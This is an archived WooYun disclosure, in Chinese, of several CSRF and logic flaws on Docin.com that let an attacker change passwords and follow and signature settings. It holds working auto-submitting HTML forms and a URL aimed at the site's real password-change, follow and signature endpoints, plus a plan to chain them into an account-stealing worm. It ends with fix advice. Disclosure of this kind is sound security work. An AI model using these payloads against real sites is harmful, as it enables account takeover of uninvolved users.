当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-08789

漏洞标题:豆丁网N处CSRF漏洞

相关厂商:豆丁网

漏洞作者: imlonghao

提交时间:2012-06-26 11:50

修复时间:2012-08-10 11:51

公开时间:2012-08-10 11:51

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-26: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-08-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

N处CSRF漏洞,不多解释,RK20你懂的

详细说明:

【漏洞一】
某天,对豆丁网的修改密码的设计进行了一下分析。
修改密码需要输入3个内容,一个旧密码,一个新密码,一个新密码确认。
确定需要三个框都是绿色钩钩,其中,旧密码的验证也存在缺陷。
通过判断http://www.docin.com/app/my/docin/checkOldPwd?password=XXXXXXXXXXX返回的结果来判断用户输入的密码是否为真,ture和false,这个过程存在一定缺陷,在拿到用户COOKIES的情况下,利用穷举或者密码库,很容易就可以测试出用户的原密码。
=========华丽的分割线=========
【漏洞二】
在修改密码POST的表单中,POST了三个参数,分别是oldPwd、newPwd、newPwdAgain
但是,在我的测试当中,删掉oldPwd和newPwdAgain参数,只保留newPwd并进行POST操作,依然可以修改用户的密码,这就导致了可能会在获得了用户COOKIES的情况下,在未知旧密码的情况下强制修改用户的密码。
=========华丽的分割线=========
【漏洞三】
修改密码的接口http://www.docin.com/app/my/docin/password?fn=update ,未验证POST表单的来路,结合漏洞二,在豆丁中传播一个带有以下代码的地址,就可以实现任意修改用户密码。

<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://www.docin.com/app/my/docin/password?fn=update" method="post">
<input type="text" name="newPwd" value="XXXXXXXXXXX" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>


=========华丽的分割线=========
【漏洞四】
想了想,只是修改用户的密码,但不知道用户的帐号,要利用也只能达到盗取指定用户的帐号的目的,并不能广泛的进行蠕虫传播。
于是,我想到了可以用CSRF操作被害用户的帐号关注一个人气小的帐号,那么就可以知道用户的帐号了。
很荣幸,关注接口也没有做来源检查。
接口地址:http://www.docin.com/app/my/docin/addConcernUser

<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://www.docin.com/app/my/docin/addConcernUser" method="post">
<input type="text" name="fansUserId" value="XXX" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>


=========华丽的分割线=========
【漏洞五】
想要达到传播蠕虫的目的,还需要一个类似于发微博的东西,于是,我想到了修改用户签名的做法。
很很很荣幸,也没有检查来源。
利用方式:

http://www.docin.com/jsp_cn/userBlog/userdoc/updateaboutme.jsp?content=[在这里输入你想修改的签名]


=========华丽的分割线=========
华丽丽的,一个盗号蠕虫就这样制成了。

漏洞证明:

【漏洞一】



=========华丽的分割线=========
【漏洞二】
【漏洞三】


=========华丽的分割线=========
【漏洞四】
随便找了一个人


=========华丽的分割线=========
【漏洞五】
原签名


接口返回信息


修改后

修复方案:

漏洞一:取消这个验证,将旧密码的验证转入到按确定提交后POST到服务器后在验证
漏洞二:严格验证POST的参数是否齐全
漏洞三:严格验证POST表单来源
漏洞四:同上
漏洞五:同上

版权声明:转载请注明来源 imlonghao@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:10 (WooYun评价)